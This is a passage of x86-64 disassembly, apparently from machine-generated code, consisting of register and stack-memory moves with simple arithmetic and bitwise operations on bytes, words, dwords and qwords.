mov dword [rsp + 0x3048], eax
mov rax, qword [rsp + 0x61b8]
mov rcx, qword [rsp + 0x74c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5450], rax
movzx eax, word [rsp + 0x894]
movzx ecx, word [rsp + 0x9fc]
add eax, ecx
mov word [0x140178f98], ax
mov rax, qword [rsp + 0x6ef0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov word [rsp + 0x9e4], ax
movzx eax, byte [rsp + 0x180]
mov byte [rsp + 0x1f1], al
movsx eax, byte [rsp + 0x10d]
mov rcx, qword [0x14017a4f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0x77f8]
movzx eax, word [rax]
mov word [rsp + 0xe84], ax
mov eax, dword [rsp + 0x2f80]
mov ecx, dword [rsp + 0x2a4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b8c], eax
mov rax, qword [rsp + 0x4f40]
mov qword [rsp + 0x8228], rax
mov rax, qword [rsp + 0x6658]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c24], eax
mov rax, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x6bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6f38], rax
movzx eax, word [rsp + 0xc84]
movzx ecx, word [0x140178f68]
add eax, ecx
mov rcx, qword [0x14017a158]
mov word [rcx], ax
movzx eax, byte [rsp + 0x174]
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0x77c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5db8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [0x14017a0b0]
movzx eax, word [rax]
mov word [rsp + 0xe88], ax
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x80d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2f0c]
movzx ecx, al
mov eax, dword [rsp + 0x2dd8]
sar eax, cl
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x6390]
mov qword [rsp + 0x8230], rax
mov eax, dword [rsp + 0x2ed8]
mov ecx, dword [rsp + 0x2fa0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ea4], eax
lea rax, [rsp + 0x69d0]
mov qword [rsp + 0x8238], rax
lea rax, [rsp + 0xac]
mov qword [0x14017a758], rax
mov rax, qword [rsp + 0x81c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6578]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9d4], ax
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0x52d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0x7398]
movzx eax, word [rax]
mov word [rsp + 0xe8c], ax
movzx eax, byte [rsp + 0x1ca]
movzx ecx, byte [rsp + 0x13d]
and eax, ecx
mov rcx, qword [rsp + 0x7e78]
mov byte [rcx], al
lea rax, [rsp + 0x5560]
mov qword [rsp + 0x8240], rax
mov eax, dword [rsp + 0x2fec]
mov ecx, dword [rsp + 0x2e3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ff0], eax
mov eax, dword [rsp + 0x2e18]
mov ecx, dword [0x14017a060]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5500]
mov rax, qword [rax]
mov qword [rsp + 0x8248], rax
movsx eax, byte [rsp + 0xf7]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov byte [0x140178e9f], al
mov rax, qword [rsp + 0x5c88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov byte [rsp + 0x1a6], al
mov rax, qword [rsp + 0x67a8]
movzx eax, word [rax]
mov word [rsp + 0xe90], ax
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5ac0]
mov word [rcx], ax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x8250], rax
mov rax, qword [rsp + 0x8100]
mov rcx, qword [rsp + 0x4f80]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x77d0], rax
mov rax, qword [rsp + 0x7ca8]
mov ecx, dword [0x140178e6c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2dc8], eax
mov rax, qword [rsp + 0x5f20]
mov qword [rsp + 0x8258], rax
mov rax, qword [rsp + 0x7a10]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7b68]
mov dword [rcx], eax
lea rax, [rsp + 0xc84]
mov qword [0x14017a760], rax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x8260], rax
mov rax, qword [rsp + 0x5a18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6490]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x7988]
movsx eax, word [rax]
movsx ecx, word [0x140178eb8]
sar eax, cl
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x5cc8]
movzx eax, byte [rax]
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x7ed0]
mov rcx, qword [rsp + 0x6dd0]
mov qword [rsp + 0x8268], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8268]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5b20]
mov qword [rcx], rax
lea rax, [rsp + 0x5920]
mov qword [rsp + 0x8270], rax
mov rax, qword [rsp + 0x5db0]
mov rcx, qword [rsp + 0x70a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x63b0]
mov rcx, qword [rsp + 0x7e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6260]
mov dword [rcx], eax
lea rax, [rsp + 0xc0]
mov qword [0x14017a768], rax
lea rax, [0x140178ef0]
mov qword [rsp + 0x8278], rax
mov rax, qword [rsp + 0x6688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
and eax, ecx
mov rcx, qword [rsp + 0x6668]
mov byte [rcx], al
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0x1f4], al
movzx eax, word [rsp + 0xa44]
mov rcx, qword [rsp + 0x64b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x57e0]
mov dword [rcx], eax
lea rax, [rsp + 0x5a28]
mov qword [rsp + 0x8280], rax
mov rax, qword [rsp + 0x7cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x7b28]
mov qword [rsp + 0x8288], rax
movsx eax, byte [rsp + 0x1b8]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov byte [0x140178ec6], al
mov rax, qword [rsp + 0x7470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbcc]
sub eax, ecx
mov word [rsp + 0xa78], ax
lea rax, [rsp + 0xdc0]
mov qword [rsp + 0x8290], rax
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x71b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x6850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
and eax, ecx
mov rcx, qword [rsp + 0x7af0]
mov word [rcx], ax
lea rax, [rsp + 0x5130]
mov qword [rsp + 0x8298], rax
mov rax, qword [rsp + 0x5850]
mov rcx, qword [rsp + 0x7a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7c50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b6c]
mov dword [rsp + 0x304c], eax
mov rax, qword [rsp + 0x75d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7738]
mov qword [rsp + 0x82a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x82a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3028], eax
movzx eax, word [rsp + 0xb50]
movzx ecx, word [0x14017a200]
xor eax, ecx
mov rcx, qword [rsp + 0x7d98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017a0e4], al
movzx eax, byte [rsp + 0xe3]
mov byte [rsp + 0x1f5], al
mov rax, qword [rsp + 0x6320]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc60]
or eax, ecx
mov word [rsp + 0xaf4], ax
mov rax, qword [rsp + 0x7f48]
movzx eax, word [rax]
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0x5f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d88]
mov rcx, qword [rsp + 0x4f88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x61f0], rax
mov rax, qword [rsp + 0x5e68]
mov rax, qword [rax]
mov qword [rsp + 0x82a8], rax
mov rax, qword [rsp + 0x6768]
mov rcx, qword [rsp + 0x63b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2aa8], eax
movzx eax, word [rsp + 0x8f8]
mov word [rsp + 0xe98], ax
lea rax, [0x140178eff]
mov qword [0x14017a770], rax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x55e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6cb0]
mov byte [rcx], al
lea rax, [rsp + 0xb5c]
mov qword [rsp + 0x82b0], rax
movsx eax, word [0x14017a388]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d70]
mov word [rcx], ax
mov rax, qword [rsp + 0x8180]
mov ecx, dword [rsp + 0x300c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5b98]
mov dword [rcx], eax
lea rax, [rsp + 0x2c08]
mov qword [rsp + 0x82b8], rax
mov rax, qword [rsp + 0x7ff0]
mov rcx, qword [rsp + 0x67f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5740]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c80]
mov rax, qword [rax]
mov qword [rsp + 0x82c0], rax
movsx eax, byte [rsp + 0x1a1]
mov rcx, qword [rsp + 0x73c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1d8]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a3e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
and eax, ecx
mov rcx, qword [rsp + 0x7aa8]
mov byte [rcx], al
lea rax, [rsp + 0xba0]
mov qword [rsp + 0x82c8], rax
mov rax, qword [0x14017a178]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fc0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov qword [rsp + 0x82d0], rax
mov rax, qword [rsp + 0x7088]
mov rcx, qword [rsp + 0x6fa8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6648]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f2c]
movzx ecx, al
mov eax, dword [rsp + 0x2f54]
sar eax, cl
mov dword [rsp + 0x2d10], eax
lea rax, [rsp + 0x2b44]
mov qword [rsp + 0x82d8], rax
mov rax, qword [rsp + 0x72e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f00]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa74], ax
lea rax, [rsp + 0xa50]
mov qword [0x14017a778], rax
movzx eax, word [rsp + 0xe64]
mov word [rsp + 0xe9c], ax
mov rax, qword [rsp + 0x5428]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7668]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5698]
mov byte [rcx], al
movsx eax, byte [0x140178ecf]
mov rcx, qword [rsp + 0x5fa0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7188]
mov byte [rcx], al
lea rax, [rsp + 0x9e8]
mov qword [rsp + 0x82e0], rax
mov rax, qword [rsp + 0x7720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5cf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6698], rax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov dword [rsp + 0x3050], eax
mov rax, qword [rsp + 0x5938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7d30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69c8]
mov rax, qword [rax]
mov qword [rsp + 0x82e8], rax
movzx eax, byte [rsp + 0x175]
movzx ecx, byte [rsp + 0x189]
sub eax, ecx
mov byte [0x14017a0cd], al
movsx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0x6dc8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16c], al
movzx eax, word [rsp + 0xc78]
movzx ecx, word [rsp + 0xa74]
add eax, ecx
mov rcx, qword [rsp + 0x5ba0]
mov word [rcx], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x82f0], rax
mov rax, qword [rsp + 0x5a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1cb]
sub eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov qword [rsp + 0x82f8], rax
mov rax, qword [rsp + 0x7b28]
mov rcx, qword [rsp + 0x69b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6658]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ba0]
mov dword [rsp + 0x3054], eax
lea rax, [rsp + 0xdc8]
mov qword [0x14017a780], rax
movsx eax, byte [rsp + 0x104]
movsx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0x97], al
lea rax, [rsp + 0xb34]
mov qword [rsp + 0x8300], rax
mov rax, qword [rsp + 0x5880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcac]
or eax, ecx
mov word [rsp + 0xb54], ax
mov rax, qword [rsp + 0x7620]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd40]
xor eax, ecx
mov rcx, qword [rsp + 0x6830]
mov word [rcx], ax
mov rax, qword [rsp + 0x68d0]
mov qword [rsp + 0x8308], rax
mov rax, qword [rsp + 0x5be8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2e2c]
sar eax, cl
mov dword [rsp + 0x2a50], eax
mov rax, qword [rsp + 0x7438]
mov eax, dword [rax]
mov dword [rsp + 0x3058], eax
mov rax, qword [rsp + 0x7bd0]
movzx ecx, al
mov rax, qword [rsp + 0x59e0]
shl rax, cl
mov qword [rsp + 0x82c0], rax
mov rax, qword [0x14017a770]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
and eax, ecx
mov rcx, qword [0x14017a608]
mov byte [rcx], al
lea rax, [rsp + 0x928]
mov qword [rsp + 0x8310], rax
mov rax, qword [rsp + 0x7120]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x99c]
add eax, ecx
mov rcx, qword [rsp + 0x6220]
mov word [rcx], ax
movsx eax, byte [0x14017a146]
movsx ecx, byte [rsp + 0xca]
add eax, ecx
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x1a5]
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x6b58]
mov ecx, dword [rsp + 0x2fe0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8150]
mov rax, qword [rax]
mov qword [rsp + 0x8318], rax
mov rax, qword [rsp + 0x6308]
mov rcx, qword [rsp + 0x6e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7f50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f5c]
mov ecx, dword [rsp + 0x2b1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a68], eax
movzx eax, word [rsp + 0xe48]
movzx ecx, word [rsp + 0xb58]
add eax, ecx
mov word [0x140178fb4], ax
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x76a0]
movzx eax, byte [rax]
mov rcx, qword [0x14017a3b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7608]
mov byte [rcx], al
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x8320], rax
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x7400]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0x6db0]
mov rcx, qword [rsp + 0x7808]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6bc0]
mov rax, qword [rax]
mov qword [rsp + 0x8328], rax
mov rax, qword [rsp + 0x7c00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7b98]
mov qword [rsp + 0x8330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8330]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3018], eax
lea rax, [rsp + 0x2c90]
mov qword [rsp + 0x8338], rax
mov rax, qword [0x14017a1e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140178f08], ax
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x874], ax
movzx eax, byte [0x14017a193]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5b], al
lea rax, [rsp + 0xce]
mov qword [rsp + 0x8340], rax
movsx eax, word [rsp + 0x9f8]
movsx ecx, word [rsp + 0x8f0]
add eax, ecx
mov word [rsp + 0xd98], ax
lea rax, [rsp + 0x58e8]
mov qword [rsp + 0x8348], rax
mov rax, qword [rsp + 0x5e58]
mov rcx, qword [rsp + 0x7520]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bd0], rax
lea rax, [rsp + 0x2e8c]
mov qword [rsp + 0x8350], rax
mov eax, dword [rsp + 0x2b60]
mov ecx, dword [rsp + 0x2bfc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8338]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5818]
movzx eax, byte [rax]
mov byte [0x14017a1a7], al
movzx eax, word [rsp + 0xddc]
movzx ecx, word [rsp + 0xdb8]
sub eax, ecx
mov word [rsp + 0x9ec], ax
mov rax, qword [rsp + 0x6d88]
movzx eax, word [rax]
mov word [rsp + 0xea0], ax
movsx eax, byte [0x14017a0e2]
mov rcx, qword [rsp + 0x8040]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x7c00]
mov ecx, dword [rsp + 0x2b38]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e7c], eax
mov rax, qword [rsp + 0x74f8]
mov rcx, qword [rsp + 0x6ce0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ac0], rax
mov eax, dword [rsp + 0x2d9c]
mov dword [rsp + 0x305c], eax
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ff0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6890], rax
lea rax, [rsp + 0xdb]
mov qword [0x14017a788], rax
mov rax, qword [rsp + 0x54c8]
movzx eax, word [rax]
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0x6408]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
movsx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x5910]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7248]
mov word [rcx], ax
lea rax, [rsp + 0xa3]
mov qword [rsp + 0x8358], rax
mov rax, qword [rsp + 0x7408]
mov ecx, dword [rsp + 0x2ed8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6c08]
mov dword [rcx], eax
mov rax, qword [0x140178e78]
mov qword [rsp + 0x8360], rax
mov rax, qword [rsp + 0x6cc8]
mov rcx, qword [rsp + 0x8258]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5290]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e80]
mov qword [rsp + 0x8368], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8368]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2da0], eax
mov rax, qword [rsp + 0x7538]
movzx eax, byte [rax]
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0x65d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa3c]
and eax, ecx
mov rcx, qword [0x14017a308]
mov word [rcx], ax
movsx eax, word [rsp + 0xdb4]
mov rcx, qword [0x14017a1c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61d8]
mov word [rcx], ax
lea rax, [rsp + 0x1f1]
mov qword [rsp + 0x8370], rax
mov rax, qword [rsp + 0x68c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x64f8]
mov word [rcx], ax
lea rax, [rsp + 0x5d08]
mov qword [rsp + 0x8378], rax
mov rax, qword [rsp + 0x7618]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5130], rax
mov rax, qword [rsp + 0x56f8]
mov ecx, dword [rsp + 0x2a04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cb0], eax
mov rax, qword [rsp + 0x7bf8]
mov eax, dword [rax]
mov dword [rsp + 0x3060], eax
mov rax, qword [0x14017a5d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18d]
sub eax, ecx
mov byte [rsp + 0x128], al
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7938]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a2f8]
mov byte [rcx], al
lea rax, [rsp + 0xc1]
mov qword [rsp + 0x8380], rax
mov rax, qword [rsp + 0x57b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x74c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xff], al
movsx eax, word [rsp + 0xae4]
mov rcx, qword [rsp + 0x5190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0x60d0]
mov eax, dword [rax]
mov dword [rsp + 0x3064], eax
mov rax, qword [rsp + 0x73a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7708]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8270]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov qword [rsp + 0x8388], rax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x5b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x175]
shl eax, cl
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x7470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
sar eax, cl
mov word [str._rT_], ax
mov rax, qword [rsp + 0x5d80]
movzx eax, word [rax]
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0x6b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7a00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9d8], ax
movzx eax, word [rsp + 0xb38]
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0x7720]
mov rcx, qword [rsp + 0x70c8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54e8]
mov rax, qword [rax]
mov qword [rsp + 0x8390], rax
mov rax, qword [rsp + 0x7418]
mov rcx, qword [rsp + 0x55d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2fb8], eax
mov rax, qword [rsp + 0x53e0]
mov rcx, qword [rsp + 0x4dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5bd8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1d0]
mov byte [rsp + 0x1fa], al
lea rax, [rsp + 0xab8]
mov qword [0x14017a790], rax
movzx eax, word [rsp + 0xac8]
mov rcx, qword [0x14017a630]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x95c], ax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0x6560]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6090]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0x7e88]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a0e5]
sub eax, ecx
mov rcx, qword [rsp + 0x8370]
mov byte [rcx], al
mov eax, dword [rsp + 0x2d5c]
mov dword [rsp + 0x3068], eax
mov rax, qword [rsp + 0x7dc0]
mov rcx, qword [rsp + 0x5f50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x81b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b58]
mov dword [rsp + 0x306c], eax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x7a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5c48], rax
mov rax, qword [rsp + 0x7f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a2b8]
mov word [rcx], ax
mov rax, qword [0x14017a4a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb24]
xor eax, ecx
mov word [rsp + 0x8d4], ax
lea rax, [rsp + 0x181]
mov qword [rsp + 0x8398], rax
mov rax, qword [rsp + 0x74a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
shl eax, cl
mov rcx, qword [rsp + 0x7188]
mov byte [rcx], al
lea rax, [rsp + 0x9f4]
mov qword [rsp + 0x83a0], rax
mov rax, qword [rsp + 0x6978]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ed8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x54b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5f28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e30]
mov qword [rsp + 0x83a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x83a8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7d60], rax
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x3070], eax
mov rax, qword [rsp + 0x7d48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0x958]
and eax, ecx
mov word [0x140178fbc], ax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x83b0], rax
mov rax, qword [rsp + 0x64d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce4]
add eax, ecx
mov word [rsp + 0xb08], ax
lea rax, [rsp + 0x9a4]
mov qword [rsp + 0x83b8], rax
movzx eax, byte [rsp + 0x181]
movzx ecx, byte [0x140178ef3]
sub eax, ecx
mov byte [rsp + 0x10b], al
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
